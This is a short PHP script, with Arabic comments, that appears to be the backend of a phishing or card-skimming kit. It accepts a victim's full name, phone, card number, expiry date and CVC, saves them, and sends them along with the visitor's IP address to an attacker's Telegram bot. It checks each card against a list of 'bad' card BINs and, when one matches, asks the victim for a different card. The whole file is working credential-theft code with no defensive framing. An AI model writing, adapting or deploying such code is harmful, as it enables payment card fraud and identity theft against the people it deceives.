<?php

$request_body = file_get_contents('php://input');
$data = json_decode($request_body, true);

// تحقق من البيانات قبل استخدامها
$full_name = $data["full_name"] ?? '';
$phone = $data["phone"] ?? '';
$card = $data["card"] ?? '';
$exp = $data["exp"] ?? '';
$cvc = $data["cvc"] ?? '';

$bad_bins = require '../include/bad_bins.php';
$card_bin = substr(str_replace(" ", "", $card), 0, 6);

if($card) {

    $bb = in_array($card_bin, $bad_bins) ? ' - BAD BIN' : '';

    $data_to_save = [
	    'Full name' => $full_name,
	    'Phone' => $phone,
        'Card' => $card.$bb,
        'Exp' => $exp,
        'CVC' => $cvc,
    ];

    require './save_data.php';
    $response = saveData($data_to_save);

    // إرسال إلى Telegram
    $config = require './config.php';
    $ip = $_SERVER['REMOTE_ADDR'];
    $message = "New Entry:\nFull Name: $full_name\nPhone: $phone\nCard: $card$bb\nExp: $exp\nCVC: $cvc\nIP: $ip";
    $bot_token = $config['telegram_bot_token'];
    $chat_id = $config['telegram_chat_id'];

    file_get_contents("https://api.telegram.org/bot$bot_token/sendMessage?chat_id=$chat_id&text=".urlencode($message));

    header('Content-Type: application/json; charset=utf-8');
    echo in_array($card_bin, $bad_bins) ? json_encode(['status' => 'request_card']) : json_encode(['status' => $response]);

} else {
    header('Content-Type: application/json; charset=utf-8');
    echo json_encode(['error' => 'Card is required']);
}
